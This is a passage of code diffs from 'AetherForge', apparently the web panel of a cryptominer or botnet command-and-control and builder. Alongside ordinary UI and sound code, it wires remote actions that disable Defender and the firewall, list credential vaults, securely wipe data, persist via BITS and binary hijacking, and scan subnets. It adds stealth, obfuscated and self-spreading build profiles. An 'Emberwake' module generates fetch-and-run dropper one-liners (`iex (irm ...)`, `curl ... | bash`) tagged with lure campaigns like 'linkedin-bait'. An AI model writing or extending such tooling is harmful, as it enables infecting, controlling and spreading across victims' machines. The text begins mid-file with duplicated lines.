setAuthed(true);
setDegraded(true);
setReady(true);
});
}, []);
const handleLogin = async (e: React.FormEvent) => {
e.preventDefault();
setErr('');
setSessionExpired(false);
const headers: Record<string, string> = {
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
Authorization: `Basic ${encodeBasicToken(user, pass)}`,
};
try {
const res = await fetch('/api/v1/config', { headers });
if (!res.ok) {
setErr('Login failed — check username and password.');
import { useEffect, useState, type ReactNode } from 'react';
import type { PublicBuildDTO } from '../types';
import {
AETHERFORGE_CLIENT_HEADER,
AETHERFORGE_CLIENT_VALUE,
authHeaders,
clearStoredAuth,
consumeAuthExpiredFlag,
encodeBasicToken,
getStoredAuth,
setStoredAuth,
} from '../api/auth';
import { useSound } from '../context/SoundContext';
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
export default function SessionGate({ children }: { children: ReactNode }) {
const { play } = useSound();
const [ready, setReady] = useState(false);
const [authed, setAuthed] = useState(!!getStoredAuth());
const [degraded, setDegraded] = useState(false);
const [user, setUser] = useState('');
const [pass, setPass] = useState('');
const [err, setErr] = useState('');
const [sessionExpired, setSessionExpired] = useState(false);
const [publicOpen, setPublicOpen] = useState(false);
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
const [publicLoading, setPublicLoading] = useState(false);
const [publicErr, setPublicErr] = useState('');
useEffect(() => {
const sync = () => {
const hasAuth = !!getStoredAuth();
setAuthed(hasAuth);
if (!hasAuth) {
setSessionExpired(consumeAuthExpiredFlag());
}
};
window.addEventListener('aetherforge-auth', sync);
return () => window.removeEventListener('aetherforge-auth', sync);
}, []);
useEffect(() => {
const token = getStoredAuth();
if (!token) {
setAuthed(false);
setSessionExpired(consumeAuthExpiredFlag());
setReady(true);
return;
}
fetch('/api/v1/config', { headers: authHeaders() })
.then((r) => {
if (r.status === 401) {
clearStoredAuth({ silent: true, expired: true });
setAuthed(false);
setSessionExpired(true);
} else if (!r.ok) {
// Server reachable but unhappy — keep saved credentials (degraded mode).
setAuthed(true);
setDegraded(true);
} else {
setAuthed(true);
setDegraded(false);
}
setReady(true);
})
.catch(() => {
// Network blip — trust stored credentials until the server responds.
setAuthed(true);
setDegraded(true);
setReady(true);
});
}, []);
const handleLogin = async (e: React.FormEvent) => {
e.preventDefault();
setErr('');
setSessionExpired(false);
const headers: Record<string, string> = {
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
Authorization: `Basic ${encodeBasicToken(user, pass)}`,
};
try {
const res = await fetch('/api/v1/config', { headers });
if (!res.ok) {
setErr('Login failed — check username and password.');
play('error');
return;
}
setStoredAuth(user, pass);
setAuthed(true);
setDegraded(false);
play('success');
} catch {
setErr('Cannot reach server — check that miner-server is running.');
}
};
if (!ready) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<p className="font-tech">Starting AetherForge</p>
</div>
);
}
const loadPublicBuilds = async () => {
setPublicLoading(true);
setPublicErr('');
try {
const res = await fetch('/api/v1/public/builds');
if (!res.ok) throw new Error('unavailable');
const data = (await res.json()) as { builds: PublicBuildDTO[] };
setPublicBuilds(data.builds ?? []);
setPublicOpen(true);
} catch {
setPublicErr('Public builds are not available yet — forge an installer first.');
setPublicOpen(true);
} finally {
setPublicLoading(false);
}
};
if (!authed) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<div className="session-gate-keys" aria-hidden>
<div className="session-gate-key session-gate-key--tl">
<KnowledgeKey opacity={0.55} />
</div>
<div className="session-gate-key session-gate-key--br">
<KnowledgeKey opacity={0.45} />
</div>
</div>
<form className="session-gate-card card" onSubmit={handleLogin}>
<h1 className="font-display">AetherForge</h1>
<p className="form-hint">Sign in to open the command deck.</p>
{sessionExpired && (
<p className="form-hint" style={{ color: 'var(--accent-red)' }}>
Your session expired please sign in again.
</p>
)}
<label className="label" htmlFor="session-user">Username</label>
<input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
<label className="label" htmlFor="session-pass">Password</label>
<input
id="session-pass"
className="input"
type="password"
value={pass}
onChange={(e) => setPass(e.target.value)}
autoComplete="current-password"
/>
{err && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{err}</p>}
<button type="submit" className="btn btn-primary btn-lg">
Enter Command Deck
</button>
<p className="session-gate-whisper" aria-hidden>
ψ · the deck remembers every key
</p>
<div className="session-public-drawer" style={{ marginTop: '1.25rem', width: '100%' }}>
<button
type="button"
className="btn btn-outline btn-sm"
style={{ width: '100%' }}
onClick={() => void loadPublicBuilds()}
disabled={publicLoading}
>
{publicLoading ? 'Loading…' : 'Public builds (no login)'}
</button>
{publicOpen && (
<div className="card" style={{ marginTop: '0.75rem', textAlign: 'left' }}>
<p className="form-hint" style={{ marginTop: 0 }}>
Pinned + latest forged installers no credentials required.
</p>
{publicErr && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{publicErr}</p>}
{publicBuilds.length === 0 && !publicErr && (
<p className="form-hint">No public builds yet.</p>
)}
<ul style={{ listStyle: 'none', margin: 0, padding: 0 }}>
{publicBuilds.map((b) => (
<li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
<strong>{b.worker_name}</strong>
<span className="form-hint"> · {b.platform}</span>
{b.pinned && <span> 📌</span>}
<br />
<a href={b.download_url} className="mono" style={{ fontSize: '0.75rem' }}>
Download
</a>
</li>
))}
</ul>
</div>
)}
</div>
</form>
</div>
);
}
return (
<>
{degraded && (
<div className="session-degraded-banner" role="status">
Cannot reach server using saved credentials. Some data may be stale until connectivity returns.
</div>
)}
{children}
</>
);
}

View File

@@ -0,0 +1,81 @@
import React, { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
import {
ambientMusicPlayer,
loadBgmEnabled,
loadBgmVolume,
} from '../audio/ambientMusic';
type AmbientMusicContextValue = {
enabled: boolean;
playing: boolean;
volume: number;
setEnabled: (v: boolean) => void;
setVolume: (v: number) => void;
togglePlay: () => void;
};
const AmbientMusicContext = createContext<AmbientMusicContextValue | null>(null);
export function AmbientMusicProvider({ children }: { children: React.ReactNode }) {
const [enabled, setEnabledState] = useState(loadBgmEnabled);
const [playing, setPlaying] = useState(() => ambientMusicPlayer.isPlaying());
const [volume, setVolumeState] = useState(loadBgmVolume);
const setEnabled = useCallback((v: boolean) => {
ambientMusicPlayer.setEnabled(v);
setEnabledState(v);
if (v) ambientMusicPlayer.unlock();
}, []);
const setVolume = useCallback((v: number) => {
ambientMusicPlayer.setVolume(v);
setVolumeState(ambientMusicPlayer.getVolume());
}, []);
const togglePlay = useCallback(() => {
ambientMusicPlayer.unlock();
ambientMusicPlayer.togglePlay();
setPlaying(ambientMusicPlayer.isPlaying());
setEnabledState(ambientMusicPlayer.isEnabled());
}, []);
useEffect(() => {
return ambientMusicPlayer.subscribe(setPlaying);
}, []);
useEffect(() => {
ambientMusicPlayer.setEnabled(enabled);
ambientMusicPlayer.setVolume(volume);
}, [enabled, volume]);
useEffect(() => {
const unlock = () => ambientMusicPlayer.unlock();
window.addEventListener('pointerdown', unlock, { once: true, passive: true });
window.addEventListener('keydown', unlock, { once: true });
return () => {
window.removeEventListener('pointerdown', unlock);
window.removeEventListener('keydown', unlock);
};
}, []);
const value = useMemo(
() => ({ enabled, playing, volume, setEnabled, setVolume, togglePlay }),
[enabled, playing, volume, setEnabled, setVolume, togglePlay]
);
return <AmbientMusicContext.Provider value={value}>{children}</AmbientMusicContext.Provider>;
}
const noopAmbient: AmbientMusicContextValue = {
enabled: false,
playing: false,
volume: 0,
setEnabled: () => {},
setVolume: () => {},
togglePlay: () => {},
};
export function useAmbientMusic() {
const ctx = useContext(AmbientMusicContext);
return ctx ?? noopAmbient;
}

View File

@@ -0,0 +1,35 @@
/**
* @vitest-environment happy-dom
*/
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, fireEvent } from '@testing-library/react';
import { SoundProvider, SFX_INTERACTIVE_SELECTOR } from './SoundContext';
import * as hapticModule from '../audio/hapticEngine';
describe('SoundProvider click cues', () => {
const play = vi.fn();
beforeEach(() => {
play.mockClear();
vi.spyOn(hapticModule.hapticEngine, 'isEnabled').mockReturnValue(true);
vi.spyOn(hapticModule.hapticEngine, 'play').mockImplementation(play);
});
it('covers card-style interactive rows', () => {
expect(SFX_INTERACTIVE_SELECTOR).toContain('.agent-list-item.compact-row');
expect(SFX_INTERACTIVE_SELECTOR).toContain('.crucible-node-card');
expect(SFX_INTERACTIVE_SELECTOR).toContain('.pt-agent-card');
});
it('plays click on agent list row', () => {
render(
<SoundProvider>
<div className="agent-list-item compact-row" data-testid="row">
Fleet node
</div>
</SoundProvider>
);
fireEvent.click(document.querySelector('[data-testid="row"]')!);
expect(play).toHaveBeenCalledWith('click');
});
});

View File

@@ -1,20 +1,52 @@
import React, { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
import { hapticEngine, loadSoundEnabled, loadSoundVolume, type SoundCue } from '../audio/hapticEngine';
import { hoverSfxEngine, loadHoverEnabled, loadHoverVolume } from '../audio/hoverSfx';
type SoundContextValue = {
enabled: boolean;
volume: number;
hoverEnabled: boolean;
hoverVolume: number;
setEnabled: (v: boolean) => void;
setVolume: (v: number) => void;
setHoverEnabled: (v: boolean) => void;
setHoverVolume: (v: number) => void;
play: (cue: SoundCue) => void;
preview: (cue?: SoundCue) => void;
previewHover: () => void;
};
const SoundContext = createContext<SoundContextValue | null>(null);
/** Elements that should emit the global UI click/nav cue (see SoundProvider listener). */
export const SFX_INTERACTIVE_SELECTOR = [
'button:not(:disabled)',
'.btn:not(:disabled)',
'[role="button"]:not([aria-disabled="true"])',
'.nav-link',
'.mobile-nav__link',
'.mobile-nav__more-btn',
'.agent-list-item.compact-row',
'.crucible-node-card',
'.crucible-group-item',
'.pt-agent-card:not([style*="cursor: not-allowed"])',
'.endpoint-chip:not(:disabled)',
'.fleet-group-chip:not(:disabled)',
].join(', ');
/** Elements that emit hover highlight SFX (debounced). */
export const HOVER_INTERACTIVE_SELECTOR = [
SFX_INTERACTIVE_SELECTOR,
'.neon-card',
'.card',
'a[href]:not([data-sfx="off"])',
].join(', ');
export function SoundProvider({ children }: { children: React.ReactNode }) {
const [enabled, setEnabledState] = useState(loadSoundEnabled);
const [volume, setVolumeState] = useState(loadSoundVolume);
const [hoverEnabled, setHoverEnabledState] = useState(loadHoverEnabled);
const [hoverVolume, setHoverVolumeState] = useState(loadHoverVolume);
const setEnabled = useCallback((v: boolean) => {
hapticEngine.setEnabled(v);
@@ -35,11 +67,31 @@ export function SoundProvider({ children }: { children: React.ReactNode }) {
hapticEngine.play(cue);
}, []);
const setHoverEnabled = useCallback((v: boolean) => {
hoverSfxEngine.setEnabled(v);
setHoverEnabledState(v);
}, []);
const setHoverVolume = useCallback((v: number) => {
hoverSfxEngine.setVolume(v);
setHoverVolumeState(hoverSfxEngine.getVolume());
}, []);
const previewHover = useCallback(() => {
hoverSfxEngine.unlock();
hoverSfxEngine.preview(enabled);
}, [enabled]);
useEffect(() => {
hapticEngine.setEnabled(enabled);
hapticEngine.setVolume(volume);
}, [enabled, volume]);
useEffect(() => {
hoverSfxEngine.setEnabled(hoverEnabled);
hoverSfxEngine.setVolume(hoverVolume);
}, [hoverEnabled, hoverVolume]);
useEffect(() => {
const unlock = () => hapticEngine.unlock();
window.addEventListener('pointerdown', unlock, { once: true, passive: true });
@@ -56,9 +108,7 @@ export function SoundProvider({ children }: { children: React.ReactNode }) {
const target = e.target as HTMLElement | null;
if (!target) return;
if (target.closest('[data-sfx="off"]')) return;
const interactive = target.closest(
'button:not(:disabled), .btn:not(:disabled), [role="button"]:not([aria-disabled="true"]), .nav-link, .mobile-nav__link, .mobile-nav__more-btn'
);
const interactive = target.closest(SFX_INTERACTIVE_SELECTOR);
if (!interactive) return;
const isNav =
interactive.classList.contains('nav-link') ||
@@ -69,9 +119,49 @@ export function SoundProvider({ children }: { children: React.ReactNode }) {
return () => document.removeEventListener('click', onClick, true);
}, [enabled]);
useEffect(() => {
const onMouseOver = (e: MouseEvent) => {
if (!hapticEngine.isEnabled() || !hoverSfxEngine.isEnabled()) return;
const target = e.target as HTMLElement | null;
if (!target) return;
if (target.closest('[data-sfx="off"]')) return;
const interactive = target.closest(HOVER_INTERACTIVE_SELECTOR);
if (!interactive) return;
const related = e.relatedTarget as Node | null;
if (related && interactive.contains(related)) return;
hoverSfxEngine.play(true);
};
document.addEventListener('mouseover', onMouseOver, true);
return () => document.removeEventListener('mouseover', onMouseOver, true);
}, [enabled, hoverEnabled]);
const value = useMemo(
() => ({ enabled, volume, setEnabled, setVolume, play, preview }),
[enabled, volume, setEnabled, setVolume, play, preview]
() => ({
enabled,
volume,
hoverEnabled,
hoverVolume,
setEnabled,
setVolume,
setHoverEnabled,
setHoverVolume,
play,
preview,
previewHover,
}),
[
enabled,
volume,
hoverEnabled,
hoverVolume,
setEnabled,
setVolume,
setHoverEnabled,
setHoverVolume,
play,
preview,
previewHover,
]
);
return <SoundContext.Provider value={value}>{children}</SoundContext.Provider>;
@@ -80,10 +170,15 @@ export function SoundProvider({ children }: { children: React.ReactNode }) {
const noopSound: SoundContextValue = {
enabled: false,
volume: 0,
hoverEnabled: false,
hoverVolume: 0,
setEnabled: () => {},
setVolume: () => {},
setHoverEnabled: () => {},
setHoverVolume: () => {},
play: () => {},
preview: () => {},
previewHover: () => {},
};
export function useSound() {

View File

@@ -11,6 +11,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
'tunnel_ssh_forward',
'tunnel_stop',
'subnet_scan',
'smb_shares',
'credential_vault_list',
'secure_wipe',
'defender_off',
'firewall_punch',
'firewall_off',
@@ -32,7 +35,10 @@ export function canRunAggressiveAction(
if (platform === 'darwin' && action === 'defender_off') return false;
if (
platform !== 'windows' &&
(action.startsWith('firewall_') || action === 'bits_persist' || action === 'host_binary_persist')
(action.startsWith('firewall_') ||
action === 'bits_persist' ||
action === 'host_binary_persist' ||
action === 'smb_shares')
) {
return false;
}
@@ -49,6 +55,9 @@ export function canRunAggressiveAction(
case 'tunnel_ssh_forward':
case 'tunnel_stop':
case 'subnet_scan':
case 'smb_shares':
case 'credential_vault_list':
case 'secure_wipe':
case 'defender_off':
case 'firewall_punch':
case 'firewall_off':
@@ -82,6 +91,9 @@ export function aggressiveActionHint(
if (platform !== 'windows' && action === 'host_binary_persist') {
return 'Host binary hijack is Windows-only';
}
if (platform !== 'windows' && action === 'smb_shares') {
return 'SMB share enumeration is Windows-only';
}
if (canRunAggressiveAction(action, caps, platform)) return undefined;
switch (action) {
case 'hole_punch':

View File

@@ -0,0 +1,117 @@
import { describe, expect, it } from 'vitest';
import { mockAgent } from '../test/fixtures';
import {
CRUCIBLE_PHASE_C_ACTIONS,
CRUCIBLE_PHASE_C_STUBS,
buildSSHForwardPayload,
isWindowsPlatform,
newPortForwardRow,
onlineAgents,
parseCameraListMessage,
parseRemoteHostPort,
selectionAggressiveHint,
selectionCanRunAggressive,
validatePortForwardRows,
windowsOnlineAgents,
} from './crucibleOps';
const fullCaps = {
hole_punch: true,
remote_aggressive: true,
mesh_p2p: true,
auto_spread: true,
process_hollowing: false,
ai_enabled: false,
};
describe('crucibleOps', () => {
it('onlineAgents filters to online status', () => {
const agents = [
mockAgent({ id: 'a', status: 'online' }),
mockAgent({ id: 'b', status: 'offline' }),
];
expect(onlineAgents(agents).map((a) => a.id)).toEqual(['a']);
});
it('windowsOnlineAgents filters to online Windows nodes', () => {
const agents = [
mockAgent({ id: 'w', status: 'online', platform: 'windows' }),
mockAgent({ id: 'l', status: 'online', platform: 'linux' }),
];
expect(windowsOnlineAgents(agents).map((a) => a.id)).toEqual(['w']);
});
it('isWindowsPlatform treats unknown as Windows', () => {
expect(isWindowsPlatform(undefined)).toBe(true);
expect(isWindowsPlatform('windows')).toBe(true);
expect(isWindowsPlatform('linux')).toBe(false);
});
it('selectionCanRunAggressive allows when any target has capability', () => {
const agents = [
mockAgent({ id: 'w', status: 'online', platform: 'windows', capabilities: fullCaps }),
mockAgent({
id: 'l',
status: 'online',
platform: 'linux',
capabilities: { ...fullCaps, remote_aggressive: false },
}),
];
expect(selectionCanRunAggressive('firewall_off', agents)).toBe(true);
expect(selectionCanRunAggressive('mesh_status', [{ ...agents[1], capabilities: { ...fullCaps, mesh_p2p: false } }])).toBe(false);
});
it('selectionAggressiveHint explains blocked bulk ops', () => {
const agents = [
mockAgent({
id: 'l',
status: 'online',
platform: 'linux',
capabilities: fullCaps,
}),
];
expect(selectionAggressiveHint('firewall_off', agents)).toContain('Windows-only');
expect(selectionAggressiveHint('hole_punch', [])).toContain('online');
});
it('parseCameraListMessage strips ffmpeg banner lines', () => {
const msg = `[dshow @ 0] DirectShow video devices
"USB2.0 HD UVC WebCam"
/dev/video0`;
expect(parseCameraListMessage(msg)).toEqual(['"USB2.0 HD UVC WebCam"', '/dev/video0']);
});
it('lists Phase C actions', () => {
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('smb_shares');
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('spread_status');
expect(CRUCIBLE_PHASE_C_STUBS.some((s) => s.id === 'smb_shares')).toBe(true);
});
it('parseRemoteHostPort splits host and port', () => {
expect(parseRemoteHostPort('192.168.1.10:3389')).toEqual({ host: '192.168.1.10', port: 3389 });
expect(parseRemoteHostPort('[::1]:22')).toEqual({ host: '::1', port: 22 });
expect(parseRemoteHostPort('bad')).toBeNull();
});
it('buildSSHForwardPayload omits empty ssh user', () => {
expect(buildSSHForwardPayload('2222', '10.0.0.5:22', '')).toEqual({
local_port: 2222,
remote_host: '10.0.0.5',
remote_port: 22,
});
expect(buildSSHForwardPayload('2222', '10.0.0.5:22', 'admin')).toEqual({
local_port: 2222,
remote_host: '10.0.0.5',
remote_port: 22,
ssh_user: 'admin',
});
});
it('validatePortForwardRows rejects invalid rows', () => {
expect(validatePortForwardRows([])).toContain('at least one');
const row = newPortForwardRow('r1');
row.remoteHostPort = 'nope';
expect(validatePortForwardRows([row])).toContain('Invalid row');
expect(validatePortForwardRows([newPortForwardRow('r2')])).toBeNull();
});
});

View File

@@ -0,0 +1,147 @@
import type { Agent } from '../types';
import {
aggressiveActionHint,
canRunAggressiveAction,
type AggressiveRemoteAction,
} from './aggressiveActions';
/** Phase C Crucible remote actions (wired in agent + CrucibleExpandedOps). */
export const CRUCIBLE_PHASE_C_ACTIONS = [
'smb_shares',
'spread_status',
'credential_vault_list',
'secure_wipe',
'tunnel_ssh_forward',
] as const;
export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
/** @deprecated use CRUCIBLE_PHASE_C_ACTIONS — kept for tests migrating off stubs */
export const CRUCIBLE_PHASE_C_STUBS = [
{ id: 'smb_shares', label: 'SMB Shares', hint: 'Enumerate accessible \\\\host\\share on Windows LAN' },
{ id: 'spread_status', label: 'Spread Status', hint: 'Last lateral spread sweep summary JSON' },
{ id: 'credential_vault_list', label: 'Credential Names', hint: 'Vault / keychain / SSH key names only' },
{ id: 'secure_wipe', label: 'Secure Wipe', hint: 'Overwrite-then-delete folder' },
{ id: 'port_fwd_matrix', label: 'Port-Forward Matrix', hint: 'Multi-node SSH local forward grid' },
] as const;
export function isWindowsPlatform(platform?: string): boolean {
if (!platform) return true;
return platform.toLowerCase().includes('win');
}
export function onlineAgents(agents: Agent[]): Agent[] {
return agents.filter((a) => a.status === 'online');
}
export function windowsOnlineAgents(agents: Agent[]): Agent[] {
return onlineAgents(agents).filter((a) => isWindowsPlatform(a.platform));
}
/** True when at least one online selected agent can run the aggressive action. */
export function selectionCanRunAggressive(
action: AggressiveRemoteAction,
agents: Agent[]
): boolean {
const targets = onlineAgents(agents);
if (targets.length === 0) return false;
return targets.some((a) => canRunAggressiveAction(action, a.capabilities, a.platform));
}
/** Disabled-state tooltip for bulk aggressive ops across a mixed selection. */
export function selectionAggressiveHint(
action: AggressiveRemoteAction,
agents: Agent[]
): string | undefined {
const targets = onlineAgents(agents);
if (targets.length === 0) return 'Select at least one online node';
if (selectionCanRunAggressive(action, agents)) return undefined;
const blocked = targets.find(
(a) => !canRunAggressiveAction(action, a.capabilities, a.platform)
);
return aggressiveActionHint(action, blocked?.capabilities, blocked?.platform);
}
/** Parse camera_list newline output into device paths/names. */
export function parseCameraListMessage(message: string): string[] {
return message
.split('\n')
.map((l) => l.trim())
.filter((l) => l.length > 0 && !l.startsWith('['));
}
export interface PortForwardRow {
id: string;
localPort: string;
remoteHostPort: string;
sshUser: string;
}
export interface SSHForwardPayload {
local_port: number;
remote_host: string;
remote_port: number;
ssh_user?: string;
}
/** Split "host:port" with optional IPv6 bracket form [::1]:22 */
export function parseRemoteHostPort(raw: string): { host: string; port: number } | null {
const trimmed = raw.trim();
if (!trimmed) return null;
if (trimmed.startsWith('[')) {
const end = trimmed.indexOf(']');
if (end < 0) return null;
const host = trimmed.slice(1, end);
const rest = trimmed.slice(end + 1);
if (!rest.startsWith(':')) return null;
const port = parseInt(rest.slice(1), 10);
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
return { host, port };
}
const idx = trimmed.lastIndexOf(':');
if (idx <= 0) return null;
const host = trimmed.slice(0, idx);
const port = parseInt(trimmed.slice(idx + 1), 10);
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
return { host, port };
}
export function buildSSHForwardPayload(
localPort: string,
remoteHostPort: string,
sshUser?: string
): SSHForwardPayload | null {
const local = parseInt(localPort.trim(), 10);
const remote = parseRemoteHostPort(remoteHostPort);
if (!Number.isFinite(local) || local <= 0 || local > 65535 || !remote) return null;
const payload: SSHForwardPayload = {
local_port: local,
remote_host: remote.host,
remote_port: remote.port,
};
const user = sshUser?.trim();
if (user) payload.ssh_user = user;
return payload;
}
export function newPortForwardRow(id?: string): PortForwardRow {
const rowId = id ?? `pf-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
return { id: rowId, localPort: '2222', remoteHostPort: '192.168.1.10:22', sshUser: '' };
}
export function validatePortForwardRows(rows: PortForwardRow[]): string | null {
if (rows.length === 0) return 'Add at least one forward row';
for (const row of rows) {
if (!buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser)) {
return `Invalid row: local ${row.localPort}${row.remoteHostPort}`;
}
}
return null;
}
export type CrucibleDispatchArgs = Record<string, unknown>;
export interface CrucibleDispatchTarget {
id: string;
name: string;
}

View File

@@ -0,0 +1,32 @@
import { describe, it, expect } from 'vitest';
import {
campaignQuery,
combinedDropperQuery,
ps1Oneliner,
shOneliner,
publicDownloadUrl,
} from './emberwake';
describe('emberwake URL helpers', () => {
it('builds campaign query slug', () => {
expect(campaignQuery('linkedin-bait')).toBe('?c=linkedin-bait');
expect(campaignQuery(' ')).toBe('');
expect(campaignQuery('bad slug!')).toBe('?c=badslug');
});
it('combines pin and campaign', () => {
expect(combinedDropperQuery('abc-123', 'wave-a')).toBe('?pin=abc-123&c=wave-a');
expect(combinedDropperQuery('', 'solo')).toBe('?c=solo');
});
it('formats one-liners', () => {
expect(ps1Oneliner('http://10.0.0.5:8989/', '?c=x')).toContain('install.ps1?c=x');
expect(shOneliner('http://10.0.0.5:8989', '')).toContain('install.sh');
});
it('public download URL', () => {
expect(publicDownloadUrl('http://host', 'build-1', 'c1')).toBe(
'http://host/api/v1/public/download/build-1?c=c1',
);
});
});

View File

@@ -0,0 +1,45 @@
/** Campaign URL builders for Emberwake / waterhole spreading. */
export function campaignQuery(campaign: string): string {
const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
return slug ? `?c=${encodeURIComponent(slug)}` : '';
}
export function pinQuery(buildId: string): string {
const id = buildId.trim();
return id ? `?pin=${encodeURIComponent(id)}` : '';
}
export function combinedDropperQuery(pinBuildId: string, campaign: string): string {
const parts: string[] = [];
const pin = pinBuildId.trim();
const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
return parts.length ? `?${parts.join('&')}` : '';
}
export function ps1Oneliner(baseUrl: string, query = ''): string {
const base = baseUrl.replace(/\/$/, '');
return `iex (irm '${base}/install.ps1${query}')`;
}
export function shOneliner(baseUrl: string, query = ''): string {
const base = baseUrl.replace(/\/$/, '');
return `curl -sL '${base}/install.sh${query}' | bash`;
}
export function commandOneliner(baseUrl: string, query = ''): string {
const base = baseUrl.replace(/\/$/, '');
return `curl -sL '${base}/install.command${query}' | bash`;
}
export function getUrl(baseUrl: string, query = ''): string {
return `${baseUrl.replace(/\/$/, '')}/get${query}`;
}
export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string {
const base = origin.replace(/\/$/, '');
const q = campaignQuery(campaign);
return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
}

View File

@@ -73,6 +73,20 @@ const AGENT_HANDLED = new Set([
'bits_persist',
'host_binary_persist',
'mesh_status',
'connectivity_probe',
'arp_neighbors',
'persistence_audit',
'kill_process',
'delete_path',
'move_path',
'registry_read',
'registry_write',
'registry_delete',
'upgrade',
'smb_shares',
'spread_status',
'credential_vault_list',
'secure_wipe',
]);
describe('remote action wiring', () => {
@@ -96,8 +110,8 @@ describe('remote action wiring', () => {
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
it('lists every wired aggressive command once', () => {
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(21);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(21);
});
});
@@ -138,6 +152,9 @@ describe('canRunAggressiveAction edge cases', () => {
'tunnel_ssh_forward',
'tunnel_stop',
'subnet_scan',
'smb_shares',
'credential_vault_list',
'secure_wipe',
'defender_off',
'firewall_punch',
'firewall_off',

View File

@@ -0,0 +1,41 @@
import { describe, expect, it } from 'vitest';
import {
defaultBrowseRoot,
joinRemotePath,
parseListDirMessage,
pathBreadcrumbs,
} from './remoteDirBrowser';
describe('remoteDirBrowser helpers', () => {
it('parseListDirMessage reads agent JSON', () => {
const msg = JSON.stringify({
path: '/home/alice',
home_dir: '/home/alice',
platform: 'linux',
entries: [{ name: 'docs', is_dir: true, size: 0 }],
});
const parsed = parseListDirMessage(msg);
expect(parsed?.path).toBe('/home/alice');
expect(parsed?.entries).toHaveLength(1);
});
it('defaultBrowseRoot returns empty for agent home resolution', () => {
expect(defaultBrowseRoot('windows')).toBe('');
expect(defaultBrowseRoot('linux')).toBe('');
});
it('joinRemotePath handles unix parent', () => {
expect(joinRemotePath('/home/alice/docs', '..')).toBe('/home/alice');
expect(joinRemotePath('/home/alice/docs', 'file.txt')).toBe('/home/alice/docs/file.txt');
});
it('joinRemotePath handles windows parent', () => {
expect(joinRemotePath('C:\\Users\\alice', '..')).toBe('C:\\Users');
expect(joinRemotePath('C:\\Users\\alice', 'Desktop')).toBe('C:\\Users\\alice\\Desktop');
});
it('pathBreadcrumbs splits mixed separators', () => {
expect(pathBreadcrumbs('/var/log')).toEqual(['var', 'log']);
expect(pathBreadcrumbs('C:\\Users\\bob')).toEqual(['C:', 'Users', 'bob']);
});
});

View File

@@ -0,0 +1,55 @@
export interface DirEntry {
name: string;
is_dir: boolean;
size: number;
}
export interface ListDirResult {
path: string;
home_dir?: string;
platform?: string;
entries: DirEntry[];
}
export function parseListDirMessage(message: string): ListDirResult | null {
try {
const j = JSON.parse(message) as ListDirResult;
if (j.entries && Array.isArray(j.entries)) {
return {
path: j.path ?? '',
home_dir: j.home_dir,
platform: j.platform,
entries: j.entries,
};
}
} catch {
/* not JSON */
}
return null;
}
/** Initial browse path sent to the agent (empty → agent home). */
export function defaultBrowseRoot(_platform?: string): string {
return '';
}
export function joinRemotePath(cwd: string, name: string): string {
const sep = cwd.includes('/') ? '/' : '\\';
if (name === '..') {
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/).filter(Boolean);
parts.pop();
if (parts.length === 0) {
return sep === '/' ? '/' : 'C:\\';
}
const joined = parts.join(sep);
if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {
return parts[0] + ':\\';
}
return (cwd.startsWith('/') ? '/' : '') + joined;
}
return cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
}
export function pathBreadcrumbs(cwd: string): string[] {
return cwd.split(/[/\\]/).filter(Boolean);
}

View File

@@ -0,0 +1,88 @@
import type { BuildRequest } from '../types';
export type SpreadProfileId = 'web_drop' | 'desktop_fusion' | 'lan_kindling' | 'crucible_ops';
export interface SpreadProfile {
id: SpreadProfileId;
label: string;
color: string;
blurb: string;
apply: (form: BuildRequest) => BuildRequest;
}
export const SPREAD_PROFILES: SpreadProfile[] = [
{
id: 'web_drop',
label: 'Web Drop',
color: '#3dd6c6',
blurb: 'Headless Linux — small, systemd, no screenshot, minimal spread',
apply: (f) => ({
...f,
target_os: 'linux',
target_arch: 'amd64',
spread_kit: false,
fusion_enabled: false,
stealth_mode: true,
file_logging: false,
remote_aggressive: false,
auto_spread: false,
usb_spread: false,
share_spread: false,
run_as: 'service',
autostart_mode: 'boot_task',
}),
},
{
id: 'desktop_fusion',
label: 'Desktop Fusion',
color: '#f0abfc',
blurb: 'Big stealth fusion — garble on, visible UI off',
apply: (f) => ({
...f,
target_os: 'universal',
target_arch: 'all',
spread_kit: false,
fusion_enabled: true,
stealth_mode: true,
display_mode: 'background',
obfuscate: true,
remote_aggressive: false,
